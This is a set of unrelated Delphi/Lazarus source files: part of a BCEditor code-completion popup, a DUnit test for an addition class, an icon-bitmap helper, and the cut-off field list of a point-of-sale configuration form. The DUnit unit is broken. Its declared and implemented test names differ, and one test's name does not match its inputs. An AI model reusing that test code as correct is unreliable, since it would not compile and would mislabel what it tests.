begin
if (FDisplayType = ctCode) and Assigned(Owner) then
(Owner as TBCBaseEditor).RemoveFocusControl(Self);
Close;
end;
procedure TBCEditorCompletionProposalForm.KeyDown(var Key: Word; Shift: TShiftState);
var
LChar: Char;
LData: Pointer;
LEditorCommand: TBCEditorCommand;
begin
case FDisplayType of
ctCode:
begin
case Key of
VK_RETURN, VK_TAB:
if Assigned(OnValidate) then
OnValidate(Self, Shift, BCEDITOR_NONE_CHAR);
VK_ESCAPE:
begin
if Assigned(OnCancel) then
OnCancel(Self);
end;
VK_LEFT:
begin
if Length(FCurrentString) > 0 then
begin
CurrentString := Copy(CurrentString, 1, Length(CurrentString) - 1);
if Assigned(Owner) then
(Owner as TBCBaseEditor).CommandProcessor(ecLeft, BCEDITOR_NONE_CHAR, nil);
end
else
begin
// Since we have control, we need to re-send the key to
// the editor so that the cursor behaves properly
if Assigned(Owner) then
(Owner as TBCBaseEditor).CommandProcessor(ecLeft, BCEDITOR_NONE_CHAR, nil);
if Assigned(OnCancel) then
OnCancel(Self);
end;
end;
VK_RIGHT:
begin
if Assigned(Owner) then
with Owner as TBCBaseEditor do
begin
if DisplayCaretX <= Length(LineText) then
LChar := LineText[DisplayCaretX]
else
LChar := BCEDITOR_SPACE_CHAR;
if Self.IsWordBreakChar(LChar) then
begin
if Assigned(OnCancel) then
OnCancel(Self)
end
else
CurrentString := CurrentString + LChar;
CommandProcessor(ecRight, BCEDITOR_NONE_CHAR, nil);
end;
end;
VK_PRIOR:
MoveLine(-FVisibleLines);
VK_NEXT:
MoveLine(FVisibleLines);
VK_END:
Position := FAssignedList.Count - 1;
VK_HOME:
Position := 0;
VK_UP:
if ssCtrl in Shift then
Position := 0
else
MoveLine(-1);
VK_DOWN:
if ssCtrl in Shift then
Position := FAssignedList.Count - 1
else
MoveLine(1);
VK_BACK:
if Shift = [] then
begin
if Length(FCurrentString) > 0 then
begin
CurrentString := Copy(CurrentString, 1, Length(CurrentString) - 1);
if Assigned(Owner) then
(Owner as TBCBaseEditor).CommandProcessor(ecDeleteLastChar, BCEDITOR_NONE_CHAR, nil);
end
else
begin
if Assigned(Owner) then
(Owner as TBCBaseEditor).CommandProcessor(ecDeleteLastChar, BCEDITOR_NONE_CHAR, nil);
if Assigned(OnCancel) then
OnCancel(Self);
end;
end;
VK_DELETE:
if Assigned(Owner) then
(Owner as TBCBaseEditor).CommandProcessor(ecDeleteChar, BCEDITOR_NONE_CHAR, nil);
end;
end;
ctHint:
with Owner as TBCBaseEditor do
begin
LData := nil;
LChar := BCEDITOR_NONE_CHAR;
LEditorCommand := TranslateKeyCode(Key, Shift, LData);
CommandProcessor(LEditorCommand, LChar, LData);
end;
end;
Invalidate;
end;
procedure TBCEditorCompletionProposalForm.DoKeyPressW(Key: Char);
begin
if Key <> BCEDITOR_NONE_CHAR then
KeyPressW(Key);
end;
procedure TBCEditorCompletionProposalForm.KeyPressW(var Key: Char);
begin
case FDisplayType of
ctCode:
begin
case Key of
BCEDITOR_CARRIAGE_RETURN, BCEDITOR_ESCAPE:
;
BCEDITOR_SPACE_CHAR .. high(Char):
begin
if IsWordBreakChar(Key) and Assigned(OnValidate) then
begin
if Key = BCEDITOR_SPACE_CHAR then
OnValidate(Self, [], BCEDITOR_NONE_CHAR)
else
OnValidate(Self, [], Key);
end;
CurrentString := CurrentString + Key;
if Assigned(OnKeyPress) then
OnKeyPress(Self, Key);
end;
BCEDITOR_BACKSPACE_CHAR:
if Assigned(OnKeyPress) then
OnKeyPress(Self, Key);
else
with Owner as TBCBaseEditor do
CommandProcessor(ecChar, Key, nil);
if Assigned(OnCancel) then
OnCancel(Self);
end;
end;
ctHint:
if Assigned(OnKeyPress) then
OnKeyPress(Self, Key);
end;
Invalidate;
end;
procedure TBCEditorCompletionProposalForm.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
Y := (Y - FHeightBuffer) div FEffectiveItemHeight;
Position := FScrollBar.Position + Y;
end;
function TBCEditorCompletionProposalForm.CanResize(var NewWidth, NewHeight: Integer): Boolean;
var
NewVisibleLines: Integer;
BorderWidth: Integer;
begin
Result := True;
case FDisplayType of
ctCode:
begin
if Resizeable then
BorderWidth := 2 * GetSystemMetrics(SM_CYSIZEFRAME)
else
BorderWidth := 0;
if FEffectiveItemHeight <> 0 then
begin
NewVisibleLines := (NewHeight - BorderWidth - FHeightBuffer) div FEffectiveItemHeight;
if NewVisibleLines < 1 then
NewVisibleLines := 1;
end
else
NewVisibleLines := 0;
FVisibleLines := NewVisibleLines;
NewHeight := FEffectiveItemHeight * FVisibleLines + FHeightBuffer + BorderWidth;
if (NewWidth - BorderWidth) < FScrollBar.Width then
NewWidth := FScrollBar.Width + BorderWidth;
end;
end;
end;
procedure TBCEditorCompletionProposalForm.Resize;
begin
inherited;
if FEffectiveItemHeight <> 0 then
FVisibleLines := (ClientHeight - FHeightBuffer) div FEffectiveItemHeight;
if not (csCreating in ControlState) then
AdjustMetrics;
AdjustScrollBarPosition;
Invalidate;
end;
procedure TBCEditorCompletionProposalForm.Paint;
procedure ResetCanvas;
begin
with FBitmap.Canvas do
begin
Pen.Color := FBackgroundColor;
Brush.Color := FBackgroundColor;
Font.Assign(FFont);
end;
end;
const
TitleMargin = 2;
var
TmpRect: TRect;
i: Integer;
begin
if FDisplayType = ctCode then
begin
with FBitmap do
begin
ResetCanvas;
Canvas.Rectangle(0, 0, ClientWidth, ClientHeight);
for i := 0 to Min(FVisibleLines, FAssignedList.Count - 1) do
begin
if i + FScrollBar.Position >= FAssignedList.Count then
Continue;
if i + FScrollBar.Position = Position then
with Canvas do
begin
Brush.Color := FSelectedBackgroundColor;
Pen.Color := FSelectedBackgroundColor;
Rectangle(0, FEffectiveItemHeight * i, ClientWidth - FScrollBar.Width, FEffectiveItemHeight * (i + 1));
Pen.Color := FSelectedTextColor;
Font.Assign(FFont);
Font.Color := FSelectedTextColor;
end;
BCEditor.Utils.TextOut(Canvas, FMargin, FEffectiveItemHeight * i, FAssignedList[FScrollBar.Position + i]);
if i + FScrollBar.Position = Position then
ResetCanvas;
end;
end;
Canvas.Draw(0, FHeightBuffer, FBitmap);
if not Resizeable then
with Canvas do
begin
Pen.Color := FBorderColor;
PenPos := Point(ClientWidth - 1, ClientHeight - 1);
LineTo(ClientWidth - 1, 0);
LineTo(0, 0);
LineTo(0, ClientHeight - 1);
LineTo(ClientWidth - 1, ClientHeight - 1);
end;
end
else
if FDisplayType = ctHint then
begin
with FBitmap do
begin
ResetCanvas;
TmpRect := Rect(0, 0, ClientWidth, ClientHeight);
Canvas.FillRect(TmpRect);
for i := 0 to FItemList.Count - 1 do
BCEditor.Utils.TextOut(Canvas, FMargin + 1, FEffectiveItemHeight * i + FMargin, FItemList[i]);
with Canvas do
begin
Pen.Color := FBorderColor;
PenPos := Point(ClientWidth - 1, ClientHeight - 1);
LineTo(ClientWidth - 1, 0);
LineTo(0, 0);
LineTo(0, ClientHeight - 1);
LineTo(ClientWidth - 1, ClientHeight - 1);
end;
end;
Canvas.Draw(0, 0, FBitmap);
end;
end;
procedure TBCEditorCompletionProposalForm.ScrollBarOnChange(Sender: TObject);
begin
if Position < FScrollBar.Position then
Position := FScrollBar.Position
else
if Position > FScrollBar.Position + FVisibleLines - 1 then
Position := FScrollBar.Position + FVisibleLines - 1
else
Repaint;
end;
procedure TBCEditorCompletionProposalForm.ScrollBarOnScroll(Sender: TObject; ScrollCode: TScrollCode;
var ScrollPos: Integer);
begin
with Owner as TBCBaseEditor do
begin
SetFocus;
// This tricks the caret into showing itself again.
AlwaysShowCaret := False;
AlwaysShowCaret := True;
end;
end;
procedure TBCEditorCompletionProposalForm.ScrollBarOnEnter(Sender: TObject);
begin
ActiveControl := nil;
end;
procedure TBCEditorCompletionProposalForm.MoveLine(LineCount: Integer);
begin
if LineCount > 0 then
begin
if (Position < (FAssignedList.Count - LineCount)) then
Position := Position + LineCount
else
Position := FAssignedList.Count - 1;
end
else
begin
if Position + LineCount > 0 then
Position := Position + LineCount
else
Position := 0;
end;
end;
procedure TBCEditorCompletionProposalForm.SetCurrentString(const Value: string);
function MatchItem(AIndex: Integer; UseItemList: Boolean): Boolean;
var
CompareString: string;
begin
if (FFiltered) and (not UseItemList) then
CompareString := FAssignedList[AIndex]
else
CompareString := FItemList[AIndex];
CompareString := Copy(CompareString, 1, Length(Value));
if FCaseSensitive then
Result := WideCompareStr(CompareString, Value) = 0
else
Result := WideCompareText(CompareString, Value) = 0;
end;
procedure RecalcList;
var
i: Integer;
begin
FAssignedList.Clear;
for i := 0 to FItemList.Count - 1 do
begin
if MatchItem(i, True) then
FAssignedList.AddObject(FItemList[i], TObject(i));
end;
end;
var
i: Integer;
begin
FCurrentString := Value;
if FDisplayType <> ctCode then
Exit;
if FFiltered then
begin
RecalcList;
AdjustScrollBarPosition;
Position := 0;
Repaint;
end
else
begin
i := 0;
while (i < ItemList.Count) and (not MatchItem(i, True)) do
inc(i);
if i < ItemList.Count then
Position := i
else
Position := 0;
end;
end;
procedure TBCEditorCompletionProposalForm.SetItemList(const Value: TStrings);
begin
FItemList.Assign(Value);
FAssignedList.Assign(Value);
CurrentString := CurrentString;
end;
procedure TBCEditorCompletionProposalForm.DoDoubleClick(Sender: TObject);
begin
if FDisplayType = ctCode then
if Assigned(OnValidate) then
OnValidate(Self, [], BCEDITOR_NONE_CHAR);
end;
procedure TBCEditorCompletionProposalForm.SetPosition(const Value: Integer);
begin
if ((Value <= 0) and (FPosition = 0)) or (FPosition = Value) then
exit;
if Value <= FAssignedList.Count - 1 then
begin
FPosition := Value;
if Position < FScrollBar.Position then
FScrollBar.Position := Position
else
if FScrollBar.Position < (Position - FVisibleLines + 1) then
FScrollBar.Position := Position - FVisibleLines + 1;
Repaint;
end;
end;
procedure TBCEditorCompletionProposalForm.SetResizeable(const Value: Boolean);
begin
FResizeable := Value;
if FResizeable then
SetWindowLong(Handle, GWL_STYLE, (GetWindowLong(Handle, GWL_STYLE) or WS_BORDER or WS_SIZEBOX or WS_DLGFRAME) and
not WS_CAPTION)
else
SetWindowLong(Handle, GWL_STYLE, GetWindowLong(Handle, GWL_STYLE) and not WS_BORDER and not WS_SIZEBOX and
not WS_DLGFRAME);
end;
procedure TBCEditorCompletionProposalForm.SetItemHeight(const Value: Integer);
begin
if Value <> FItemHeight then
begin
FItemHeight := Value;
RecalcItemHeight;
end;
end;
procedure TBCEditorCompletionProposalForm.SetImages(const Value: TImageList);
begin
if FImages <> Value then
begin
if Assigned(FImages) then
FImages.RemoveFreeNotification(Self);
FImages := Value;
if Assigned(FImages) then
FImages.FreeNotification(Self);
end;
end;
procedure TBCEditorCompletionProposalForm.RecalcItemHeight;
begin
Canvas.Font.Assign(FFont);
FFontHeight := TextHeight(Canvas, TextHeightString);
if FItemHeight > 0 then
FEffectiveItemHeight := FItemHeight
else
begin
FEffectiveItemHeight := FFontHeight;
end;
end;
procedure TBCEditorCompletionProposalForm.StringListChange(Sender: TObject);
begin
FScrollBar.Position := Position;
end;
function TBCEditorCompletionProposalForm.IsWordBreakChar(AChar: Char): Boolean;
begin
Result := (Owner as TBCBaseEditor).IsWordBreakChar(AChar);
end;
procedure TBCEditorCompletionProposalForm.WMMouseWheel(var Msg: TMessage);
var
Delta: Integer;
WheelClicks: Integer;
begin
if csDesigning in ComponentState then
Exit;
if GetKeyState(VK_CONTROL) >= 0 then
Delta := Mouse.WheelScrollLines
else
Delta := FVisibleLines;
Inc(FMouseWheelAccumulator, Integer(Msg.wParamHi));
WheelClicks := FMouseWheelAccumulator div WHEEL_DELTA;
FMouseWheelAccumulator := FMouseWheelAccumulator mod WHEEL_DELTA;
if (Delta = Integer(WHEEL_PAGESCROLL)) or (Delta > FVisibleLines) then
Delta := FVisibleLines;
Position := Position - (Delta * WheelClicks);
end;
procedure TBCEditorCompletionProposalForm.WMChar(var Msg: TWMChar);
begin
DoKeyPressW(Char(Msg.CharCode))
end;
procedure TBCEditorCompletionProposalForm.DoFormHide(Sender: TObject);
begin
if Assigned(Owner) then
(Owner as TBCBaseEditor).AlwaysShowCaret := FOldShowCaret;
end;
procedure TBCEditorCompletionProposalForm.DoFormShow(Sender: TObject);
begin
if Assigned(Owner) then
begin
with Owner as TBCBaseEditor do
begin
FOldShowCaret := AlwaysShowCaret;
AlwaysShowCaret := Focused;
end;
end;
end;
procedure TBCEditorCompletionProposalForm.WMEraseBackgrnd(var Message: TMessage);
begin
message.Result := 1;
end;
procedure TBCEditorCompletionProposalForm.WMGetDlgCode(var Message: TWMGetDlgCode);
begin
inherited;
message.Result := message.Result or DLGC_WANTTAB;
end;
procedure TBCEditorCompletionProposalForm.AdjustMetrics;
begin
if FDisplayType = ctCode then
begin
FHeightBuffer := 0;
if (ClientWidth >= FScrollBar.Width) and (ClientHeight >= FHeightBuffer) then
begin
FBitmap.Width := ClientWidth - FScrollBar.Width;
FBitmap.Height := ClientHeight - FHeightBuffer;
end;
end
else
begin
if (ClientWidth > 0) and (ClientHeight > 0) then
begin
FBitmap.Width := ClientWidth;
FBitmap.Height := ClientHeight;
end;
end;
end;
procedure TBCEditorCompletionProposalForm.AdjustScrollBarPosition;
var
Offset: Integer;
begin
if FDisplayType = ctCode then
begin
if Assigned(FScrollBar) then
begin
if Resizeable then
Offset := 0
else
Offset := 1;
FScrollBar.Top := FHeightBuffer + Offset;
FScrollBar.Height := ClientHeight - FHeightBuffer - 2 * Offset;
FScrollBar.Left := ClientWidth - FScrollBar.Width - Offset;
if FAssignedList.Count - FVisibleLines < 0 then
begin
FScrollBar.PageSize := 0;
FScrollBar.Max := 0;
FScrollBar.Enabled := False;
end
else
begin
FScrollBar.PageSize := 0;
FScrollBar.Max := FAssignedList.Count - FVisibleLines;
if FScrollBar.Max <> 0 then
begin
FScrollBar.LargeChange := FVisibleLines;
FScrollBar.PageSize := 1;
FScrollBar.Enabled := True;
end
else
FScrollBar.Enabled := False;
end;
end;
end;
end;
procedure TBCEditorCompletionProposalForm.SetFont(const Value: TFont);
begin
FFont.Assign(Value);
RecalcItemHeight;
AdjustMetrics;
end;
procedure TBCEditorCompletionProposalForm.SetColumns(Value: TBCEditorProposalColumns);
begin
FColumns.Assign(Value);
end;
procedure TBCEditorCompletionProposalForm.FontChange(Sender: TObject);
begin
RecalcItemHeight;
AdjustMetrics;
end;
procedure TBCEditorCompletionProposalForm.Execute(ACurrentString: string; x, y: Integer;
ADisplayType: TBCEditorCompletionType);
function GetWorkAreaWidth: Integer;
begin
Result := Screen.DesktopWidth;
end;
function GetWorkAreaHeight: Integer;
begin
Result := Screen.DesktopHeight;
end;
procedure RecalcFormPlacement;
var
i: Integer;
tmpWidth: Integer;
tmpHeight: Integer;
TmpX: Integer;
tmpY: Integer;
tmpStr: string;
BorderWidth: Integer;
NewWidth: Integer;
begin
TmpX := x;
tmpY := y;
tmpWidth := 0;
tmpHeight := 0;
case FDisplayType of
ctCode:
begin
if Resizeable then
BorderWidth := 2 * GetSystemMetrics(SM_CYSIZEFRAME)
else
BorderWidth := 0;
tmpWidth := FFormWidth;
tmpHeight := FHeightBuffer + FEffectiveItemHeight * FVisibleLines + BorderWidth;
end;
ctHint:
begin
BorderWidth := 2;
tmpHeight := FEffectiveItemHeight * ItemList.Count + BorderWidth + 2 * Margin;
Canvas.Font.Assign(Font);
for i := 0 to ItemList.Count - 1 do
begin
tmpStr := ItemList[i];
NewWidth := Canvas.TextWidth(tmpStr);
if NewWidth > tmpWidth then
tmpWidth := NewWidth;
end;
Inc(tmpWidth, 2 * Margin + BorderWidth + 4);
end;
end;
if TmpX + tmpWidth > GetWorkAreaWidth then
begin
TmpX := GetWorkAreaWidth - tmpWidth - 5; // small space buffer
if TmpX < 0 then
TmpX := 0;
end;
if tmpY + tmpHeight > GetWorkAreaHeight then
begin
tmpY := tmpY - tmpHeight - (Owner as TBCBaseEditor).LineHeight - 2;
if tmpY < 0 then
tmpY := 0;
end;
Width := tmpWidth;
Height := tmpHeight;
Top := tmpY;
Left := TmpX;
end;
begin
FDisplayType := ADisplayType;
case FDisplayType of
ctCode:
begin
FAssignedList.Assign(ItemList);
if FAssignedList.Count > 0 then
begin
FScrollBar.Visible := True;
RecalcFormPlacement;
CurrentString := ACurrentString;
Show;
end;
end;
ctHint:
begin
FScrollBar.Visible := False;
RecalcFormPlacement;
Show;
end;
end;
FNoNextKey := (FDisplayType = ctCode) and Visible;
end;
procedure TBCEditorCompletionProposalForm.HandleOnCancel(Sender: TObject);
var
Editor: TBCBaseEditor;
begin
Editor := Owner as TBCBaseEditor;
FNoNextKey := False;
Close;
Editor.SetFocus;
end;
procedure TBCEditorCompletionProposalForm.HandleOnValidate(Sender: TObject; Shift: TShiftState; EndToken: Char);
var
Editor: TBCBaseEditor;
Value: string;
begin
Editor := Owner as TBCBaseEditor;
with Editor do
begin
BeginUpdate;
BeginUndoBlock;
try
if FAdjustCompletionStart then
FCompletionStart := GetTextPosition(FCompletionStart, DisplayCaretY).Char;
SelectionBeginPosition := GetTextPosition(FCompletionStart, DisplayCaretY);
if EndToken = BCEDITOR_NONE_CHAR then
SelectionEndPosition := GetTextPosition(WordEnd.Char, DisplayCaretY)
else
SelectionEndPosition := GetTextPosition(DisplayCaretX, DisplayCaretY);
if FAssignedList.Count > Position then
Value := FAssignedList[Position]
else
Value := SelectedText;
if SelectedText <> Value then
SelectedText := Value;
with Editor do
begin
CancelCompletion;
if CanFocus then
SetFocus;
EnsureCursorPositionVisible;
TextCaretPosition := SelectionEndPosition;
SelectionBeginPosition := TextCaretPosition;
end;
finally
EndUndoBlock;
EndUpdate;
end;
end;
end;
procedure TBCEditorCompletionProposalForm.HandleOnKeyPress(Sender: TObject; var Key: Char);
var
Editor: TBCBaseEditor;
begin
Editor := Owner as TBCBaseEditor;
with Editor do
CommandProcessor(ecChar, Key, nil);
end;
procedure TBCEditorCompletionProposalForm.EditorKeyPress(Sender: TObject; var Key: Char);
begin
if FNoNextKey then
begin
FNoNextKey := False;
Key := BCEDITOR_NONE_CHAR;
end
end;
procedure TBCEditorCompletionProposalForm.HandleDblClick(Sender: TObject);
begin
HandleOnValidate(Sender, [], BCEDITOR_NONE_CHAR);
end;
procedure TBCEditorCompletionProposalForm.CancelCompletion;
begin
FNoNextKey := False;
if Visible then
begin
Deactivate;
Close;
end;
end;
procedure TBCEditorCompletionProposalForm.FormDestroy(Sender: TObject);
begin
FCompletionProposalHintForm := nil;
end;
function TBCEditorCompletionProposalForm.GetCurrentInput: string;
var
S: string;
i: Integer;
Editor: TBCBaseEditor;
begin
Result := '';
Editor := Owner as TBCBaseEditor;
S := Editor.LineText;
i := Editor.DisplayCaretX - 1;
if i <= Length(S) then
begin
FAdjustCompletionStart := False;
while (i > 0) and (S[i] > BCEDITOR_SPACE_CHAR) and not Self.IsWordBreakChar(S[i]) do
Dec(i);
FCompletionStart := i + 1;
Result := Copy(S, i + 1, Editor.DisplayCaretX - i - 1);
end
else
FAdjustCompletionStart := True;
FCompletionStart := i + 1;
end;
end.
|
unit uTestOperacionSuma;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework, uOperacionSuma;
type
// Test methods for class TOperacionSuma
TestTOperacionSuma = class(TTestCase)
strict private
FOperacionSuma: TOperacionSuma;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure TestCalcular2mas2;
procedure TestCalcular5mas3;
procedure TestCalcular9mas1;
end;
implementation
procedure TestTOperacionSuma.SetUp;
begin
FOperacionSuma := TOperacionSuma.Create;
end;
procedure TestTOperacionSuma.TearDown;
begin
FOperacionSuma.Free;
FOperacionSuma := nil;
end;
procedure TestTOperacionSuma.TestCalcular2mas2;
var
ReturnValue: Integer;
begin
FOperacionSuma.Numero1:= 2;
FOperacionSuma.Numero2:= 2;
ReturnValue := FOperacionSuma.Calcular;
CheckEquals(ReturnValue, 4);
end;
procedure TestTOperacionSuma.TestCalcular5mas3;
var
ReturnValue: Integer;
begin
FOperacionSuma.Numero1:= 6;
FOperacionSuma.Numero2:= 3;
ReturnValue := FOperacionSuma.Calcular;
CheckEquals(ReturnValue, 9);
end;
procedure TestTOperacionSuma.TestCalcular8mas1;
var
ReturnValue: Integer;
begin
FOperacionSuma.Numero1:= 8;
FOperacionSuma.Numero2:= 1;
ReturnValue := FOperacionSuma.Calcular;
CheckEquals(ReturnValue, 9);
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestTOperacionSuma.Suite);
end.
|
unit tvl_uiconutils_common;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Graphics, tvl_iiconutils;
type
{ TIconUtilsCommon }
TIconUtilsCommon = class(TInterfacedObject)
protected
procedure PrepareBitmap(const ABitmap: TBitmap; AHeight: integer);
procedure RenderBitmap(const ABitmap: TBitmap; AGraphic: TGraphic);
end;
implementation
{ TIconUtilsCommon }
procedure TIconUtilsCommon.PrepareBitmap(const ABitmap: TBitmap;
AHeight: integer);
begin
ABitmap.Width := AHeight;
ABitmap.Height := AHeight;
ABitmap.Canvas.Brush.Color := cIconUtilsTransparentColor;
ABitmap.Canvas.FillRect(0, 0, ABitmap.Width, ABitmap.Height);
ABitmap.Mask(cIconUtilsTransparentColor);
end;
procedure TIconUtilsCommon.RenderBitmap(const ABitmap: TBitmap;
AGraphic: TGraphic);
var
mHalf: integer;
begin
if AGraphic.Height <= ABitmap.Height then begin
mHalf := (ABitmap.Height - AGraphic.Height) div 2;
ABitmap.Canvas.Draw(mHalf, mHalf, AGraphic);
end
else
ABitmap.Canvas.StretchDraw(TRect.Create(0, 0, ABitmap.Width - 1, ABitmap.Height - 1), AGraphic);
end;
end.
|
{*******************************************************************************
Title: T2TiPDV
Description: Configurações do PAF-ECF
The MIT License
Copyright: Copyright (C) 2014 T2Ti.COM
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
The author may be contacted at:
alberteije@gmail.com
@author T2Ti.COM
@version 2.0
*******************************************************************************}
unit UConfiguracao;
{$mode objfpc}{$H+}
interface
uses
LCLIntf, LCLType, LMessages, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, Grids, DBGrids, RxDBGrid, curredit, FMTBcd, DB,
BufDataset, StdCtrls, DBCtrls, Buttons, ExtCtrls, ComCtrls, ACBrECF,
EcfConfiguracaoVO, TypInfo, IniFiles, FileCtrl, ColorBox, ZDataset, Biblioteca;
type
{ TFConfiguracao }
TFConfiguracao = class(TForm)
BotaoPosicionarComponentes: TSpeedButton;
QCaixaDATA_CADASTRO: TDateField;
QCaixaID: TLargeintField;
QCaixaNOME: TStringField;
QCFOPAPLICACAO: TMemoField;
QCFOPCFOP: TLargeintField;
QCFOPDESCRICAO: TMemoField;
QCFOPID: TLargeintField;
QConfiguracao: TZQuery;
DSConfiguracao: TDataSource;
QConfiguracaoBITS_POR_SEGUNDO: TLargeintField;
QConfiguracaoCAMINHO_IMAGENS_LAYOUT: TStringField;
QConfiguracaoCAMINHO_IMAGENS_MARKETING: TStringField;
QConfiguracaoCAMINHO_IMAGENS_PRODUTOS: TStringField;
QConfiguracaoCFOP_ECF: TLargeintField;
QConfiguracaoCFOP_NF2: TLargeintField;
QConfiguracaoCONFIGURACAO_BALANCA: TStringField;
QConfiguracaoCOR_JANELAS_INTERNAS: TStringField;
QConfiguracaoDATA_ATUALIZACAO_ESTOQUE: TDateField;
QConfiguracaoDECIMAIS_QUANTIDADE: TLargeintField;
QConfiguracaoDECIMAIS_VALOR: TLargeintField;
QConfiguracaoDESCRICAO_SANGRIA: TStringField;
QConfiguracaoDESCRICAO_SUPRIMENTO: TStringField;
QConfiguracaoID: TLargeintField;
QConfiguracaoID_ECF_CAIXA: TLargeintField;
QConfiguracaoID_ECF_EMPRESA: TLargeintField;
QConfiguracaoID_ECF_IMPRESSORA: TLargeintField;
QConfiguracaoID_ECF_RESOLUCAO: TLargeintField;
QConfiguracaoINDICE_GERENCIAL: TStringField;
QConfiguracaoINTERVALO_ECF: TLargeintField;
QConfiguracaoIP_SERVIDOR: TStringField;
QConfiguracaoIP_SITEF: TStringField;
QConfiguracaoLAUDO: TStringField;
QConfiguracaoMARKETING_ATIVO: TStringField;
QConfiguracaoMENSAGEM_CUPOM: TStringField;
QConfiguracaoPARAMETROS_DIVERSOS: TStringField;
QConfiguracaoPESQUISA_PARTE: TStringField;
QConfiguracaoPORTA_ECF: TStringField;
QConfiguracaoQTDE_MAXIMA_CARTOES: TLargeintField;
QConfiguracaoSINCRONIZADO: TStringField;
QConfiguracaoTEF_ESPERA_STS: TLargeintField;
QConfiguracaoTEF_NUMERO_VIAS: TLargeintField;
QConfiguracaoTEF_TEMPO_ESPERA: TLargeintField;
QConfiguracaoTEF_TIPO_GP: TLargeintField;
QConfiguracaoTIMEOUT_ECF: TLargeintField;
QConfiguracaoTIPO_TEF: TStringField;
QConfiguracaoTITULO_TELA_CAIXA: TStringField;
QConfiguracaoULTIMA_EXCLUSAO: TLargeintField;
QEmpresaALIQUOTA_COFINS: TFloatField;
QEmpresaALIQUOTA_PIS: TFloatField;
QEmpresaBAIRRO: TStringField;
QEmpresaCEP: TStringField;
QEmpresaCIDADE: TStringField;
QEmpresaCNPJ: TStringField;
QEmpresaCODIGO_IBGE_CIDADE: TLargeintField;
QEmpresaCODIGO_IBGE_UF: TLargeintField;
QEmpresaCOMPLEMENTO: TStringField;
QEmpresaCONTATO: TStringField;
QEmpresaCRT: TStringField;
QEmpresaDATA_CADASTRO: TDateField;
QEmpresaDATA_INICIO_ATIVIDADES: TDateField;
QEmpresaDATA_INSC_JUNTA_COMERCIAL: TDateField;
QEmpresaEMAIL: TStringField;
QEmpresaFAX: TStringField;
QEmpresaFONE: TStringField;
QEmpresaID: TLargeintField;
QEmpresaID_EMPRESA: TLargeintField;
QEmpresaIMAGEM_LOGOTIPO: TMemoField;
QEmpresaINSCRICAO_ESTADUAL: TStringField;
QEmpresaINSCRICAO_ESTADUAL_ST: TStringField;
QEmpresaINSCRICAO_JUNTA_COMERCIAL: TStringField;
QEmpresaINSCRICAO_MUNICIPAL: TStringField;
QEmpresaLOGRADOURO: TStringField;
QEmpresaMATRIZ_FILIAL: TStringField;
QEmpresaNOME_FANTASIA: TStringField;
QEmpresaNUMERO: TStringField;
QEmpresaRAZAO_SOCIAL: TStringField;
QEmpresaSUFRAMA: TStringField;
QEmpresaTIPO_REGIME: TStringField;
QEmpresaUF: TStringField;
QImpressoraCODIGO: TStringField;
QImpressoraDATA_INSTALACAO_SB: TDateField;
QImpressoraDOCTO: TStringField;
QImpressoraECF_IMPRESSORA: TStringField;
QImpressoraHORA_INSTALACAO_SB: TStringField;
QImpressoraID: TLargeintField;
QImpressoraIDENTIFICACAO: TStringField;
QImpressoraLACRE_NA_MFD: TStringField;
QImpressoraLE: TStringField;
QImpressoraLEF: TStringField;
QImpressoraMARCA: TStringField;
QImpressoraMC: TStringField;
QImpressoraMD: TStringField;
QImpressoraMFD: TStringField;
QImpressoraMODELO: TStringField;
QImpressoraMODELO_ACBR: TStringField;
QImpressoraMODELO_DOCUMENTO_FISCAL: TStringField;
QImpressoraNUMERO: TLargeintField;
QImpressoraSERIE: TStringField;
QImpressoraTIPO: TStringField;
QImpressoraVERSAO: TStringField;
QImpressoraVR: TStringField;
QPosicaoComponentes: TZQuery;
DSPosicaoComponentes: TDataSource;
QImpressora: TZQuery;
DSImpressora: TDataSource;
botaoConfirma: TBitBtn;
botaoSair: TBitBtn;
Image1: TImage;
PageControl1: TPageControl;
QPosicaoComponentesALTURA: TLargeintField;
QPosicaoComponentesESQUERDA: TLargeintField;
QPosicaoComponentesID: TLargeintField;
QPosicaoComponentesID_ECF_RESOLUCAO: TLargeintField;
QPosicaoComponentesLARGURA: TLargeintField;
QPosicaoComponentesNOME: TStringField;
QPosicaoComponentesTAMANHO_FONTE: TLargeintField;
QPosicaoComponentesTEXTO: TStringField;
QPosicaoComponentesTOPO: TLargeintField;
QResolucaoALTURA: TLargeintField;
QResolucaoEDITS_COLOR: TStringField;
QResolucaoEDITS_DISABLED_COLOR: TStringField;
QResolucaoEDITS_FONT_COLOR: TStringField;
QResolucaoEDITS_FONT_NAME: TStringField;
QResolucaoEDITS_FONT_STYLE: TStringField;
QResolucaoHOTTRACK_COLOR: TStringField;
QResolucaoID: TLargeintField;
QResolucaoIMAGEM_MENU: TStringField;
QResolucaoIMAGEM_SUBMENU: TStringField;
QResolucaoIMAGEM_TELA: TStringField;
QResolucaoITEM_SEL_STYLE_COLOR: TStringField;
QResolucaoITEM_STYLE_FONT_COLOR: TStringField;
QResolucaoITEM_STYLE_FONT_NAME: TStringField;
QResolucaoITEM_STYLE_FONT_STYLE: TStringField;
QResolucaoLABEL_TOTAL_GERAL_FONT_COLOR: TStringField;
